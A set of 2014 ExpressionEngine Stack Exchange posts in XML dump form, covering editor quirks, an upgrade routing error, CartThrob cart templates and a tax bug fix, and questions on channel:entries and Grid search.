  <row Id="24747" PostTypeId="1" AcceptedAnswerId="24813" CreationDate="2014-07-29T17:23:33.160" Score="0" ViewCount="49" Body="&lt;p&gt;I am having issues with the text editor in EE deleting code that I add to pages. We are wanting to style our support pages a certain way, and I need to be able to add divs and classes to existing p, ul, li, and other tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this content on a page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[p]Getting Started[/p]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ul]&#xA;    [li]FAQ[/li]&#xA;    [li]Support Contacts[/li]&#xA;[/ul]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I wrap it in a div, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[div class=&quot;support-content&quot;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[p]Getting Started[/p]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ul]&#xA;    [li]FAQ[/li]&#xA;    [li]Support Contacts[/li]&#xA;[/ul]&#xA;[/div]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and save, it keeps the div I added, but when I go to edit the page again, it deletes the div. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent this from happening, or turn off the rich text editor for certain pages so I can just directly edit the source code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2926" LastEditorUserId="2926" LastEditDate="2014-07-29T17:29:16.107" LastActivityDate="2014-08-30T18:59:35.510" Title="Issues with deleted code" Tags="|ee2|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24748" PostTypeId="2" ParentId="20939" CreationDate="2014-07-29T17:32:20.043" Score="0" Body="&lt;p&gt;Our resolution to this question was to switch to the Low Search add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2926" LastActivityDate="2014-07-29T17:32:20.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24749" PostTypeId="1" AcceptedAnswerId="24750" CreationDate="2014-07-29T18:49:48.877" Score="0" ViewCount="265" Body="&lt;p&gt;Two days ago I upgraded a local dev site from 2.6x to 2.9.  The local site is running via MAMP Pro, running PHP 5.5.10. I am also using the FocusLab master_config file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before upgrading, I ran the server test to make sure things were ok, and they were. The upgrade itself (manual, not using DevDemon updater) went off without errors. I did have a few issues after upgrading, one related to an add-on and another was an error in one of my templates, but I was able to figure them out.  Everything seemed to run ok (or so I thought).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next morning, I was getting an error message try to access the site. &#xA;&quot;Unable to determine what should be displayed. A default route has not been specified in the routing file.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens on the front end or trying to get into the Control Panel. But I can serve up a static file (like robots.txt). I thought it might have something to do with the MAMP Pro install (I had to move the files to another location) so I set up on my Mac Air today.  Same exact error.  Other local sites still running 2.6x and 2.7x are running ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also added the following into my config.master file without any luck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['uri_protocol'] = 'AUTO';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['enable_template_routes'] = 'n';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I also tried PATH_INFO, QUERY_STRING, REQUEST_URI, ORIG_PATH_INFO for uri_protocol)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions on things to check or try?  Yes, downgrading to 2.7x is an option but I thought this might be something known or easy to fix.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-07-29T20:38:17.323" Title="Strange Error - After Upgrade to EE 2.9" Tags="|2.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24750" PostTypeId="2" ParentId="24749" CreationDate="2014-07-29T20:38:17.323" Score="3" Body="&lt;p&gt;Check your config folder for integrity. For that specific error, specifically &lt;code&gt;/system/expressionengine/config/routes.php&lt;/code&gt; should have &lt;code&gt;ee/index&lt;/code&gt; specified as the &lt;code&gt;default_controller&lt;/code&gt;. But if that file is incorrect, that's a sign that the other config files may be incorrect as well. If you see it there, check file permissions to make sure the config files are readable.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-07-29T20:38:17.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24751" PostTypeId="2" ParentId="24720" CreationDate="2014-07-29T21:54:23.643" Score="0" Body="&lt;p&gt;Thanks for that, this kinda does what I need (although now as a Select Menu)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{category_menu}&#xA;  Categories&#xA;  &#xA;    {select_options}&#xA;  &#xA;{/category_menu}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2014-07-29T21:54:23.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24752" PostTypeId="2" ParentId="24536" CreationDate="2014-07-29T22:04:20.543" Score="0" Body="&lt;p&gt;Here's the answer I got posted directly into our site based on our help chat with Cart Throb. It's a &lt;em&gt;one page does it all&lt;/em&gt; example, but well commented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's been no changes made to core (CT didn't have FTP access), and this was posted in after we closed the skype call, so I haven't had the chance to talk it through with them. I think the only change as far as I can tell is the option price field being &lt;code&gt;option_price&lt;/code&gt; and not &lt;code&gt;price:plus_tax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other difference I can see is that we were trying to output the tax applicable to each line item, whereas this example simply calculates a % amount, based on the rate set in the settings. So perhaps at a line item level, the calculation is incorrect, but at a cart level, it is correct. This seems a little inconsistent but must admit I haven't had an opportunity to test this fully in our environment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:template_group=&quot;test&quot;}&#xA;{preload_replace:template=&quot;tax-test&quot;}&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;Tax Test&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;h1&amp;gt;Single Page Store&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;This single page is an example of how you can use one page to add, update, and delete items, as well as checkout. &#xA;    This is the most in depth single page sample &#xA;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;{!-- ORDER COMPLETE MESSAGES --}&#xA;{!-- the submitted_order_info tag outputs information from the last attempted order.&#xA;    Even if the customer leaves this page and returns, the information from the customer's &#xA;    last attempted purchase will be output. &#xA;     --}&#xA;{exp:cartthrob:submitted_order_info}&#xA;    &amp;lt;div class=&quot;store_block&quot;&amp;gt;&#xA;        {if authorized}&#xA;        {!-- This content displays if the purchase was successful--}&#xA;            Your transaction is complete!&amp;lt;br /&amp;gt;&#xA;            Transaction ID: {transaction_id}&amp;lt;br /&amp;gt;&#xA;            Your total: {cart_total}&amp;lt;br /&amp;gt;&#xA;            Your order ID: {order_id}&#xA;        {!-- This content displays if the purchase is only partly completed--}&#xA;        {if:elseif processing}&#xA;            Your transaction is being processed!&amp;lt;br /&amp;gt;&#xA;            Transaction ID: {transaction_id}&amp;lt;br /&amp;gt;&#xA;            Your total: {cart_total}&amp;lt;br /&amp;gt;&#xA;            Your order ID: {order_id}&#xA;        {if:elseif declined}&#xA;        {!-- This content displays if the purchase was declined--}&#xA;            Your credit card was declined: {error_message}&#xA;        {if:elseif failed}&#xA;        {!-- This content displays if the purchase completely fails--}&#xA;            Your payment failed: {error_message}&#xA;        {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:cartthrob:submitted_order_info}&#xA;&#xA;{!-- ADD A PRODUCT --}&#xA;&amp;lt;div class=&quot;store_block&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Add Products&amp;lt;/h2&amp;gt;&#xA;{!-- outputting products stored in one of the &quot;products&quot; channels. &#xA;    Product channels are no different than standard channels. --}&#xA;{exp:channel:entries channel=&quot;products&quot; limit=&quot;10&quot;}&#xA;    {!-- &#xA;         The add_to_cart_form adds 1 or more of a product to the cart&#xA;&#xA;        parameters&#xA;        return: the page the customer will be redirected to after adding this item to the cart&#xA;        entry_id: the product's entry_id&#xA;    --}&#xA;&#xA;    {exp:cartthrob:add_to_cart_form &#xA;        entry_id=&quot;{entry_id}&quot; &#xA;        return=&quot;{template_group}/{template}&quot;}&#xA;        &amp;lt;p&amp;gt;&#xA;            Product name: {title} Price: {pm_base_price}&amp;lt;br /&amp;gt;&#xA;            Quantity: &amp;lt;input type=&quot;text&quot; name=&quot;quantity&quot; size=&quot;5&quot; value=&quot;&quot; /&amp;gt; &#xA;            &amp;lt;br /&amp;gt;&#xA;            {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;            {if dynamic}&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {input}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {if:else}&#xA;               {if options_exist}&#xA;               &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                  &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                   &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                   {select class=&quot;input-medium&quot;} &#xA;                      &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;&#xA;                      {option_name}{if option_price_numeric != 0} +{option_price}{/if}&#xA;                      &amp;lt;/option&amp;gt;&#xA;                   {/select}&#xA;                   &amp;lt;/div&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;               {/if}&#xA;            {/if}&#xA;            {/exp:cartthrob:item_options}&#xA;&#xA;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot;&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/exp:cartthrob:add_to_cart_form}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{!-- VIEW CART CONTENTS / UPDATE QUANTITIES --}&#xA;&amp;lt;div class=&quot;store_block&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Cart Contents&amp;lt;/h2&amp;gt;&#xA;&#xA;{!-- cart_items_info outputs information about your current cart, including products in the cart, weight, and prices. &#xA;    you can combine this with update_cart_form, to output cart item data, and update cart info&#xA;    --}&#xA;    {exp:cartthrob:cart_items_info}&#xA;&#xA;        {if no_results}&#xA;            &amp;lt;p&amp;gt;There is nothing in your cart&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;    {!-- outputting content that's only applicable for the first item. --}&#xA;    {if first_row}&#xA;        {!-- adding an update_cart_form to the first row. --}&#xA;        {!-- update_cart_form allows you to edit the information of one or more items in the cart at the same time&#xA;            as well as save customer information, and shipping options. --}&#xA;        {exp:cartthrob:update_cart_form &#xA;            return=&quot;{template_group}/{template}&quot;}&#xA;&#xA;        &amp;lt;h3&amp;gt;Customer Info&amp;lt;/h3&amp;gt;&#xA;        {!-- customer_info outputs customer info that is current stored in session.&#xA;            update_cart_form, checkout_form, save_customer_info form and other forms&#xA;            can all save customer data.&#xA;             --}&#xA;&#xA;        {exp:cartthrob:customer_info}&#xA;            First Name: &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; value=&quot;{customer_first_name}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            Last Name: &amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; value=&quot;{customer_last_name}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            Email Address:  &amp;lt;input type=&quot;text&quot; name=&quot;email_address&quot; value=&quot;{customer_email_address}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            State: &amp;lt;input type=&quot;text&quot; name=&quot;state&quot; value=&quot;{customer_state}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            Country: &amp;lt;input type=&quot;text&quot; name=&quot;country_code&quot; value=&quot;{customer_country_code}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            Zip: &amp;lt;input type=&quot;text&quot; name=&quot;zip&quot; value=&quot;{customer_zip}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {/exp:cartthrob:customer_info}&#xA;        &amp;lt;table&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;Item&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;Quantity&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    {!-- you can reference products by entry_id and row_id. If you sell configurable &#xA;                        items (like t-shirts with multiple sizes) you should use row_id to edit and &#xA;                        delete items, otherwise, all items with that entry id&#xA;                        are affected, regardless of configuration --}&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;quantity[{row_id}]&quot; size=&quot;2&quot; value=&quot;{quantity}&quot; /&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    {!-- This deletes one item (row_id) at a time--}&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;delete[{row_id}]&quot;&amp;gt; Delete this item&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            {if last_row}&#xA;            {!-- outputting content that's only applicable for the last item. --}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        {!-- these are just some of the variables available within the cart_items_info tag --}&#xA;                        &amp;lt;p&amp;gt;&#xA;                            Subtotal: {cart_subtotal}&amp;lt;br /&amp;gt;&#xA;                            Shipping: {cart_shipping}&amp;lt;br /&amp;gt;&#xA;                            Tax: {cart_tax}&amp;lt;br /&amp;gt; &#xA;                            {!--tax is updated based on user's location. To create a default tax price, set a default tax region in the backend --}&#xA;                            Shipping Option: {shipping_option}&amp;lt;br /&amp;gt;&#xA;                            Tax Name: {cart_tax_name}&amp;lt;br /&amp;gt;&#xA;                            Tax %: {cart_tax_rate}&amp;lt;br /&amp;gt;&#xA;                            Discount: {cart_discount}&amp;lt;br /&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;Total: {cart_total}&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {!-- total quantity of all items in cart --}&#xA;                            Total Items: {exp:cartthrob:total_items_count}&amp;lt;br /&amp;gt;&#xA;                            {!-- total items in cart --}&#xA;                            Total Unique Items: {exp:cartthrob:unique_items_count}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Update Cart&quot; /&amp;gt;&#xA;        {/exp:cartthrob:update_cart_form}&#xA;    {/if}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's also worth adding that they guys at Cart Throb are really helpful. The support sessions are paid and booked in advance, but a half-hour session means you can talk through your scenario with another developer who really understands the product.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-07-29T22:04:20.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24753" PostTypeId="2" ParentId="24536" CreationDate="2014-07-29T23:06:03.733" Score="3" Body="&lt;p&gt;This is a bug in 2.6 that'll be fixed in a later release, thanks for Chris at CartThrob for sorting it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file third_party/cartthrob/cartthrob/core/Cartthrob_item.php on line 566, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax = $plugin-&amp;gt;get_tax($this-&amp;gt;base_price(), $this);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax = $plugin-&amp;gt;get_tax($cost, $this);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And your tax calculations will be correct.&lt;/p&gt;&#xA;" OwnerUserId="959" LastActivityDate="2014-07-29T23:06:03.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24754" PostTypeId="1" AcceptedAnswerId="24831" CreationDate="2014-07-30T00:04:32.410" Score="0" ViewCount="50" Body="&lt;p&gt;Looking for suggestions for an active plugin or any obvious way to return basic categories info (category name, url_title, and image) with a fixed sort order based on category ids (i.e: sort=&quot;3|5|2&quot;). I know I can query for this, but maybe someone has another suggestion.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-08-01T14:54:23.173" Title="Return category info in fixed order" Tags="|plugin|categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24755" PostTypeId="1" AcceptedAnswerId="24756" CreationDate="2014-07-30T00:51:55.893" Score="0" ViewCount="19" Body="&lt;p&gt;I have an include / embed file that is being shared across two templates. However one template is displaying a result of the channel:entries tag in the embed whilst the other refuses to display a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried updating the channel:entries tag and the second refuses to load content from any channel at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the log information from template debugging:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/1g8dw1npd1ysge1/Screenshot%202014-07-29%2017.50.53.png&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/1g8dw1npd1ysge1/Screenshot%202014-07-29%2017.50.53.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/29redguruvjy5am/Screenshot%202014-07-29%2017.50.01.png&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/29redguruvjy5am/Screenshot%202014-07-29%2017.50.01.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-07-30T01:47:05.430" Title="1 include - 2 templates - 2 different results" Tags="|channel-entries|embeds|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24756" PostTypeId="2" ParentId="24755" CreationDate="2014-07-30T01:47:05.430" Score="0" Body="&lt;p&gt;Since you're using the same embed on different templates, I guess their URLs are different from each other. The results of &lt;code&gt;exp:channel:entries&lt;/code&gt; tags are influenced by the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to bypass this influence, set the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dynamic&lt;/code&gt; parameter&lt;/a&gt; to &lt;code&gt;no&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-30T01:47:05.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24757" PostTypeId="1" AcceptedAnswerId="24771" CreationDate="2014-07-30T02:14:48.263" Score="0" ViewCount="582" Body="&lt;p&gt;I'm passing a variable into an embed file. I can output the value of the variable inside the embedded template no problem but when I use it in an channel:entries loop I'm not getting a result. Hard coding a value returns a result. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Member ID {embed:member_id}&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php $skills = array() ; ?&amp;gt;&#xA;{exp:channel:entries &#xA;    channel=&quot;logbook&quot;&#xA;    orderby=&quot;date&quot;&#xA;    sort=&quot;desc&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    author_id=&quot;{embed:member_id}&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;}&#xA;    &amp;lt;?php $skills[] = array('skill' =&amp;gt; &quot;{log_skill}{url_title}{/log_skill}&quot;, 'badge' =&amp;gt; &quot;{log_skill}{skill_badge}{/log_skill}&quot;); ?&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    var skills = &amp;lt;?php  echo json_encode($skills); ?&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-07-30T17:33:26.877" Title="Embed variable not parsing in channel:entries loop" Tags="|channel-entries|embeds|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24758" PostTypeId="2" ParentId="24548" CreationDate="2014-07-30T02:49:17.003" Score="0" Body="&lt;p&gt;Let's assume you have a Freeform custom field called &lt;code&gt;my_multi_select_field&lt;/code&gt;. Let's also assume the fieldtype is a &lt;em&gt;textarea&lt;/em&gt;, since it can contain multiple values, which in turn are saved as newline-separated data if the data comes in as an &lt;em&gt;array&lt;/em&gt; (as would happen with a multi-select field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume you're using the native EE relationship field, and that it's called &lt;code&gt;related_documents_for_request&lt;/code&gt;. In that case, try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;my_multi_select_field&quot; multiple=&quot;multiple&quot;&amp;gt; &#xA;   {related_documents_for_request}&#xA;   &amp;lt;option value=&quot;{related_documents_for_request:title}&quot;&amp;gt;{related_documents_for_request:title}&amp;lt;/option&amp;gt;&#xA;   {/related_documents_for_request}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your relationship field comes from a native EE Grid field which in turn contains a native EE Relationship column, then the above code would have to be tweaked, but the main point is that the opening and closing &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element tags should be &lt;strong&gt;outside&lt;/strong&gt; of the looping part of the code, and that the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element's &lt;code&gt;name=&quot;&quot;&lt;/code&gt; should be the name of your Freeform custom field.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-30T02:49:17.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24759" PostTypeId="1" AcceptedAnswerId="24761" CreationDate="2014-07-30T10:06:15.450" Score="1" ViewCount="462" Body="&lt;p&gt;I am using search tag for express engine channel but it is not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for eg. I have created a channel named as 'XYZ'  and having following channel fields there :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) user_type : text &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) profile : grid&#xA;        a) first_name : text &#xA;        b) last_name :  text&#xA;        c) user_name : text &#xA;        d) age : text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i want to show user listing for a entry which age is greater than 20 and less than 40. i have used following code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;xyz&quot; entry_id=1}&#xA;    {profile search:age=&quot;&amp;gt;20&quot; search:age=&quot;&amp;lt;40&quot;}&#xA;        {profile:first_name}&amp;lt;br/&amp;gt;&#xA;        {profile:last_name}&amp;lt;br/&amp;gt;&#xA;        {profile:user_name}&amp;lt;br/&amp;gt;&#xA;        {profile:age}&amp;lt;hr&amp;gt;&#xA;    {/profile}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code above does not give correct result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me what is missing/wrong here or give me a solution for the same.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastEditorUserId="55" LastEditDate="2014-07-30T12:22:42.307" LastActivityDate="2014-07-30T12:25:32.257" Title="Using multiple search parameters on a Grid field" Tags="|channel-entries|search|grid|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24761" PostTypeId="2" ParentId="24759" CreationDate="2014-07-30T12:25:32.257" Score="0" Body="&lt;p&gt;Unfortunately you cannot use more than one search parameter per field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Less than ideal, but you could do a conditional in addition to your search. It will throw you off if you want to use the &lt;code&gt;row_count&lt;/code&gt; and &lt;code&gt;total_rows&lt;/code&gt; variables though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{profile search:age=&quot;&amp;gt;20&quot;}&#xA;    {if age &amp;lt; 40}&#xA;        {profile:first_name}&amp;lt;br/&amp;gt;&#xA;        {profile:last_name}&amp;lt;br/&amp;gt;&#xA;        {profile:user_name}&amp;lt;br/&amp;gt;&#xA;        {profile:age}&amp;lt;hr&amp;gt;&#xA;    {/if}&#xA;{/profile}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-30T12:25:32.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24762" PostTypeId="1" AcceptedAnswerId="24763" CreationDate="2014-07-30T12:49:24.160" Score="1" ViewCount="134" Body="&lt;p&gt;I guess the opposite of this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21425/how-to-move-all-playa-relationship-to-ee-relationships&quot;&gt;How to move all Playa relationship to EE relationships&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;previously developer used the relationships field that the client now wants to search over using Low Search. Obviously relationships just stores the entry id compared to Playa which also stores the entry title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reverse method?&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-07-30T12:53:43.057" Title="convert EE relationships to Playa" Tags="|playa|relationships|field-conversion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24763" PostTypeId="2" ParentId="24762" CreationDate="2014-07-30T12:53:43.057" Score="5" Body="&lt;p&gt;Always read the manual Steven!!! &lt;a href=&quot;http://docs.pixelandtonic.com/playa/using/converting/relationships.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/playa/using/converting/relationships.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-07-30T12:53:43.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24764" PostTypeId="1" CreationDate="2014-07-30T12:59:26.143" Score="0" ViewCount="56" Body="&lt;p&gt;Have a couple of stores using Expresso Store; just built a new one and the client asked how they should print the order details out. I think the other two stores just copy and paste the order details but their sites are a few years old, and I think expectations have changed since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Shopify, for example, earlier this year we setup the Order Printer plugin for a client and created a really nice template they could print out, cut off one bit to go on the parcel, and the other to go inside the parcel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does everyone else do this in Store? I'm specifically talking about within the control panel.&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-07-30T12:59:26.143" Title="Best way to print orders within EE Store?" Tags="|expresso-store|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
